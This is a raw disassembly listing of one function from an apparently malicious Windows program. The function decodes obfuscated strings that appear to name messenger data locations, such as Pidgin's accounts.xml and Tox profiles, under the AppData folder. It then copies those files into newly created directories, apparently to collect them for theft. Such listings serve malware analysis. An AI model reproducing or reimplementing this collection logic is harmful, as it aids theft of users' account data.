mov byte [ebp - 0xd], 1
test eax, eax
jne 0x440783
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x7a
mov eax, dword [ebp - 0x14]
test al, 8
je 0x4407a2
and eax, 0xfffffff7
lea ecx, [ebp - 0xe24]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x440823
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x77], 0xb3aeac83
mov byte [ebp - 0x73], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x77]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 4
jb 0x4407c0
sub esp, 0x18
lea eax, [ebp - 0x77]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.00464140
mov byte [ebp - 4], 0x7c
sub esp, 0x14
lea eax, [ebp - 0xa6c]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x7d
mov byte [ebp - 4], 0x7a
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x440823
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x1f4], 0xabbebb83
xor ecx, ecx
mov dword [ebp - 0x1f0], 0xacbebdbe
mov word [ebp - 0x1ec], 0xacba
mov byte [ebp - 0x1ea], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1f4]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1f4], al
inc ecx
cmp ecx, 0xa
jb 0x440850
lea eax, [ebp - 0x1f4]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa54]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xa54]
cmp dword [ebp - 0xa40], 0x10
cmovae ecx, dword [ebp - 0xa54]
call fcn.0040b940
test al, al
je 0x440929
mov dword [ebp - 0x1ff], 0xabbebb83
xor ecx, ecx
mov dword [ebp - 0x1fb], 0xacbebdbe
mov word [ebp - 0x1f7], 0xacba
mov byte [ebp - 0x1f5], 0
movzx eax, byte [ebp + ecx - 0x1ff]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1ff], al
inc ecx
cmp ecx, 0xa
jb 0x4408d1
lea eax, [ebp - 0x1ff]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe3c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7f
mov edi, dword [ebp - 0x14]
or edi, 0x10
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x44091c
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x44092d
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x7e
mov eax, dword [ebp - 0x14]
test al, 0x10
je 0x44094c
and eax, 0xffffffef
lea ecx, [ebp - 0xe3c]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x4409ec
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x20a], 0xabbebb83
mov dword [ebp - 0x206], 0xacbebdbe
mov word [ebp - 0x202], 0xacba
mov byte [ebp - 0x200], 0
movzx eax, byte [ebp + ecx - 0x20a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x20a], al
inc ecx
cmp ecx, 0xa
jb 0x440980
sub esp, 0x18
lea eax, [ebp - 0x20a]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.00464140
mov byte [ebp - 4], 0x80
sub esp, 0x14
lea eax, [ebp - 0xa54]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x7e
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4409ec
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x24b], 0xb1b0bc83
xor ecx, ecx
mov dword [ebp - 0x247], 0xf1b8b6b9
mov dword [ebp - 0x243], 0xb1b0acb5
mov byte [ebp - 0x23f], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x24b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x24b], al
inc ecx
cmp ecx, 0xc
jb 0x440a20
lea eax, [ebp - 0x24b]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0x898]
call fcn.00464140
mov byte [ebp - 4], 0x82
lea edx, [ebp - 0x898]
cmp dword [ebp - 0x884], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x898]
sub esp, 0x14
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440a90
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x83
mov byte [ebp - 4], 0x82
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x440bbf
mov dword [ebp - 0x193], 0xb1b0bc83
xor ecx, ecx
mov dword [ebp - 0x18f], 0xf1b8b6b9
mov dword [ebp - 0x18b], 0xb1b0acb5
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp + ecx - 0x193]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x193], al
inc ecx
cmp ecx, 0xc
jb 0x440ae1
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x193]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440b10
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2e4]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x2e0], 0x10
lea eax, [ebp - 0x2f4]
push ecx
cmovae eax, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x193]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcec]
call fcn.004680d0
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0xcec]
or edi, 0x200000
lea eax, [ebp - 0x898]
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0xcd8], 0x10
push 0
cmovae ecx, dword [ebp - 0xcec]
cmp dword [ebp - 0x884], 0x10
push ecx
cmovae eax, dword [ebp - 0x898]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xffdfffff
mov esi, eax
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0xcec]
call fcn.00402890
test esi, esi
je 0x440bbf
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x898]
call fcn.00402890
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xa54]
call fcn.00402890
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xa6c]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xa84]
call fcn.00402890
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa9c]
call fcn.00402890
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x440c22
push ecx
lea ecx, [ebp - 0x2f4]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x5d0]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x7c], 0xa7b08b83
xor ecx, ecx
mov byte [ebp - 0x78], 0
movzx eax, byte [ebp + ecx - 0x7c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 4
jb 0x440c44
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x540]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x85
lea eax, [ebp - 0x540]
cmp dword [ebp - 0x52c], 0x10
push 0
cmovae eax, dword [ebp - 0x540]
push eax
call esi
test eax, eax
je 0x4411bf
xor al, al
mov dword [ebp - 0x59], 0xa7b0ab83
mov byte [ebp - 0xd], al
xor ecx, ecx
mov byte [ebp - 0x55], al
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x59]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 4
jb 0x440cb0
xorps xmm0, xmm0
mov dword [ebp - 0x6e0], 0
lea ecx, [ebp - 0x59]
mov dword [ebp - 0x6dc], 0
movups xmmword [ebp - 0x6f0], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440cf0
sub ecx, edx
lea eax, [ebp - 0x59]
push ecx
push eax
lea ecx, [ebp - 0x6f0]
call fcn.00402aa0
mov byte [ebp - 4], 0x86
xor ecx, ecx
mov dword [ebp - 0x125], 0x9b8f8f9e
mov dword [ebp - 0x121], 0x9e8b9e
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x125]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x125], al
inc ecx
cmp ecx, 7
jb 0x440d30
lea eax, [ebp - 0x125]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x6f0]
mov edx, eax
push ecx
lea ecx, [ebp - 0xdc4]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x88
mov ecx, dword [ebp - 0x6dc]
cmp ecx, 0x10
jb 0x440dac
mov edx, dword [ebp - 0x6f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440da2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
push 1
sub esp, 0x18
mov dword [ebp - 0x6e0], 0
lea eax, [ebp - 0xdc4]
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x6dc], 0xf
mov byte [ebp - 0x6f0], 0
push eax
mov byte [ebp - 0xf], 0
call fcn.0045fe50
mov byte [ebp - 4], 0x89
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x7b4]
mov dl, byte [ebp - 0xf]
call fcn.00421b60
add esp, 0x1c
mov byte [ebp - 4], 0x8a
mov eax, dword [ebp - 0x7b4]
mov ecx, dword [ebp - 0x7b0]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x44118c
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x2a8], 0
push eax
lea ecx, [ebp - 0xacc]
call fcn.0045fe50
mov byte [ebp - 4], 0x8b
lea edx, [ebp - 0xacc]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xab4]
call fcn.0046aff0
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0xab4]
cmp dword [ebp - 0xaa0], 8
mov eax, dword [ebp - 0xaa4]
cmovae ecx, dword [ebp - 0xab4]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x2a8]
sub esi, eax
mov dword [ebp - 0x24], eax
sar esi, 1
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0xd94]
mov dword [ebp - 0x20], esi
call fcn.0046ad50
add esp, 8
mov byte [ebp - 4], 0x8e
lea eax, [ebp - 0x2dc]
or dword [ebp - 0x14], 0x200
lea ecx, [ebp - 0xd94]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x90
and dword [ebp - 0x14], 0xfffffdff
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0xd94]
call fcn.00461fd0
mov dword [ebp - 0x5e], 0xa7b0abf1
xor ecx, ecx
mov byte [ebp - 0x5a], 0
movzx eax, byte [ebp + ecx - 0x5e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x5e], al
inc ecx
cmp ecx, 4
jb 0x440ed3
lea edx, [ebp - 0x5e]
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x440ef0
sub edx, ecx
lea eax, [ebp - 0x5e]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
jne 0x440ffb
mov dword [ebp - 0x63], 0xb6b1b6f1
xor ecx, ecx
mov byte [ebp - 0x5f], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x63]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 4
jb 0x440f40
lea edx, [ebp - 0x63]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x440f60
sub edx, ecx
lea eax, [ebp - 0x63]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
jne 0x440ffb
mov dword [ebp - 0x45], 0xbdbbf1
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x45]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 3
jb 0x440fa0
lea edx, [ebp - 0x45]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x440fc0
sub edx, ecx
lea eax, [ebp - 0x45]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
je 0x441145
push 0xffffffffffffff83
mov byte [ebp - 0x40], 0
call fcn.00461130
mov byte [ebp - 0x41], al
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x41]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441013
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x530]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x52c], 0x10
lea eax, [ebp - 0x540]
push ecx
cmovae eax, dword [ebp - 0x540]
lea ecx, [ebp - 0x41]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xdac]
call fcn.004680d0
or dword [ebp - 0x14], 0x800
mov byte [ebp - 4], 0x94
lea eax, [ebp - 0x2dc]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0xdac]
push dword [ebp - 0x2cc]
cmovae eax, dword [ebp - 0x2dc]
push eax
call fcn.004623f0
mov dword [ebp - 0x750], 0
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x74c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x760], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x760], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x400
movq qword [ebp - 0x750], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xacc]
cmp dword [ebp - 0x74c], 0x10
cmovae ecx, dword [ebp - 0x760]
cmp dword [ebp - 0xab8], 0x10
push ecx
cmovae eax, dword [ebp - 0xacc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x14], 0xfffffbff
mov esi, eax
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x760]
call fcn.00402890
and dword [ebp - 0x14], 0xfffff7ff
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0xdac]
call fcn.00402890
test esi, esi
je 0x441145
mov byte [ebp - 0xd], 1
mov byte [ebp - 0x15], 1
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x2dc]
call fcn.00402890
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0xab4]
call fcn.00461fd0
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0xacc]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x440e22
cmp byte [ebp - 0xd], 0
mov edi, dword [ebp - 0x14]
jne 0x44119b
push ecx
lea ecx, [ebp - 0x540]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x7b4]
call fcn.00461d40
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xdc4]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x12d], 0xbbb68f83
xor ecx, ecx
mov dword [ebp - 0x129], 0xb1b6b8
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x12d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x12d], al
inc ecx
cmp ecx, 7
jb 0x4411e0
lea eax, [ebp - 0x12d]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x528]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x96
lea eax, [ebp - 0x528]
cmp dword [ebp - 0x514], 0x10
push 0
cmovae eax, dword [ebp - 0x528]
push eax
call esi
test eax, eax
je 0x4415ae
mov dword [ebp - 0x9b], 0xaaaff183
xor ecx, ecx
mov dword [ebp - 0x97], 0xbab3afad
mov byte [ebp - 0x93], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x9b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x441260
xorps xmm0, xmm0
mov dword [ebp - 0xad4], 0
lea ecx, [ebp - 0x9b]
mov dword [ebp - 0xad0], 0
movups xmmword [ebp - 0xae4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4412a2
sub ecx, edx
lea eax, [ebp - 0x9b]
push ecx
push eax
lea ecx, [ebp - 0xae4]
call fcn.00402aa0
mov byte [ebp - 4], 0x97
xor ecx, ecx
mov dword [ebp - 0x135], 0x9b8f8f9e
mov dword [ebp - 0x131], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x135]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x135], al
inc ecx
cmp ecx, 7
jb 0x4412e0
lea eax, [ebp - 0x135]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xae4]
mov edx, eax
push ecx
lea ecx, [ebp - 0x510]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0xae4]
call fcn.00402890
cmp dword [ebp - 0x4fc], 0x10
lea ecx, [ebp - 0x510]
cmovae ecx, dword [ebp - 0x510]
call fcn.0040b940
test al, al
je 0x441590
mov dword [ebp - 0x266], 0xbcbcbe83
xor ecx, ecx
mov dword [ebp - 0x262], 0xabb1aab0
mov dword [ebp - 0x25e], 0xb2a7f1ac
mov word [ebp - 0x25a], 0xb3
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x266]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x266], al
inc ecx
cmp ecx, 0xd
jb 0x441380
sub esp, 0x18
lea eax, [ebp - 0x266]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x510]
push eax
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x9a
mov byte [ebp - 4], 0x99
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x441590
mov dword [ebp - 0x1af], 0xbcbcbe83
xor ecx, ecx
mov dword [ebp - 0x1ab], 0xabb1aab0
mov dword [ebp - 0x1a7], 0xb2a7f1ac
mov word [ebp - 0x1a3], 0xb3
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1af]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1af], al
inc ecx
cmp ecx, 0xd
jb 0x441400
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x1af]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441428
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x518]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x514], 0x10
lea eax, [ebp - 0x528]
push ecx
cmovae eax, dword [ebp - 0x528]
lea ecx, [ebp - 0x1af]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc14]
call fcn.004680d0
or dword [ebp - 0x1c], 0x1000
lea esi, [ebp - 0xc14]
cmp dword [ebp - 0xc00], 0x10
mov dword [ebp - 0x1bd], 0xbcbcbe83
cmovae esi, dword [ebp - 0xc14]
xor ecx, ecx
mov dword [ebp - 0x1b9], 0xabb1aab0
mov dword [ebp - 0x1b5], 0xb2a7f1ac
mov word [ebp - 0x1b1], 0xb3
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1bd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1bd], al
inc ecx
cmp ecx, 0xd
jb 0x4414c0
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x1bd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4414e8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x500]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x4fc], 0x10
lea eax, [ebp - 0x510]
push ecx
cmovae eax, dword [ebp - 0x510]
lea ecx, [ebp - 0x1bd]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd04]
call fcn.004680d0
or dword [ebp - 0x1c], 0x2000
lea eax, [ebp - 0xd04]
cmp dword [ebp - 0xcf0], 0x10
push 0
cmovae eax, dword [ebp - 0xd04]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x1c], 0xffffdfff
mov esi, eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0xd04]
call fcn.00402890
and dword [ebp - 0x1c], 0xffffefff
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0xc14]
call fcn.00402890
test esi, esi
je 0x441590
mov byte [ebp - 0x15], 1
jmp 0x44159f
push ecx
lea ecx, [ebp - 0x528]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x510]
call fcn.00402890
cmp byte [ebp - 0x15], 0
jne 0x4415c3
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x528]
call fcn.00402890
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x540]
call fcn.00402890
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x2f4]
call fcn.00402890
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x914]
call fcn.00402890
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x92c]
call fcn.00402890
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x944]
call fcn.00402890
and edi, 0xffffefff
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b4]
call fcn.00402890
cmp byte [ebp - 0x30], 0
je 0x44196a
mov dword [ebp - 0x4a], 0x918f8983
xor ecx, ecx
mov byte [ebp - 0x46], 0
nop
movzx eax, byte [ebp + ecx - 0x4a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 4
jb 0x441650
mov dword [ebp - 4], 0x9d
lea ecx, [ebp - 0x4a]
mov edx, dword [0x539b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441678
sub ecx, esi
mov esi, closesocket
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [0x539ba0], 0x10
mov eax, 0x539b8c
push ecx
cmovae eax, dword [0x539b8c]
lea ecx, [ebp - 0x4a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x558]
call fcn.004680d0
or edi, 0x40
lea eax, [ebp - 0x558]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x544], 0x10
push 0
cmovae eax, dword [ebp - 0x558]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x441952
movaps xmm0, xmmword [0x5274c0]
xor ecx, ecx
mov byte [ebp - 0xd], 0
movups xmmword [ebp - 0x79a], xmm0
mov byte [ebp - 0x78a], 0
movzx eax, byte [ebp + ecx - 0x79a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x79a], al
inc ecx
cmp ecx, 0x10
jb 0x441701
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x79a]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441730
sub ecx, edx
mov edx, dword [ebp - 0x548]
sub esi, edx
cmp esi, ecx
jb 0x44197a
cmp dword [ebp - 0x544], 0x10
lea eax, [ebp - 0x558]
push ecx
cmovae eax, dword [ebp - 0x558]
lea ecx, [ebp - 0x79a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x8e4]
call fcn.004680d0
or edi, 0x20000
lea eax, [ebp - 0x8e4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x8d0], 0x10
push 0
cmovae eax, dword [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x44192b
movaps xmm0, xmmword [0x5274c0]
xor ecx, ecx
movups xmmword [ebp - 0x3aa], xmm0
mov dword [ebp - 0x39a], 0xb0adaf83
mov dword [ebp - 0x396], 0xbab3b6b9
mov word [ebp - 0x392], 0xac
movzx eax, byte [ebp + ecx - 0x3aa]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x3aa], al
inc ecx
cmp ecx, 0x19
jb 0x4417d1
xorps xmm0, xmm0
mov dword [ebp - 0xaec], 0
lea ecx, [ebp - 0x3aa]
mov dword [ebp - 0xae8], 0
movups xmmword [ebp - 0xafc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441813
sub ecx, edx
lea eax, [ebp - 0x3aa]
push ecx
push eax
lea ecx, [ebp - 0xafc]
call fcn.00402aa0
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov dword [ebp - 0x13d], 0x9b8f8f9e
mov dword [ebp - 0x139], 0x9e8b9e
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x13d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x13d], al
inc ecx
cmp ecx, 7
jb 0x441850
lea eax, [ebp - 0x13d]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xafc]
mov edx, eax
push ecx
lea ecx, [ebp - 0xb14]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0xafc]
call fcn.00402890
cmp dword [ebp - 0xb00], 0x10
lea ecx, [ebp - 0xb14]
cmovae ecx, dword [ebp - 0xb14]
call fcn.0040b940
test al, al
je 0x441907
sub esp, 0x18
mov byte [ebp - 0x30], 0
lea eax, [ebp - 0x8e4]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa2
sub esp, 0x18
lea eax, [ebp - 0xb14]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa3
mov byte [ebp - 4], 0xa1
mov cl, byte [ebp - 0x30]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x441907
mov byte [ebp - 0xd], 1
jmp 0x441916
push ecx
lea ecx, [ebp - 0x8e4]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xb14]
call fcn.00402890
cmp byte [ebp - 0xd], 0
jne 0x44193a
push ecx
lea ecx, [ebp - 0x558]
call fcn.0040b990
add esp, 4
and edi, 0xfffdffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x8e4]
call fcn.00402890
and edi, 0xffffffbf
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x558]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004d64b0
int3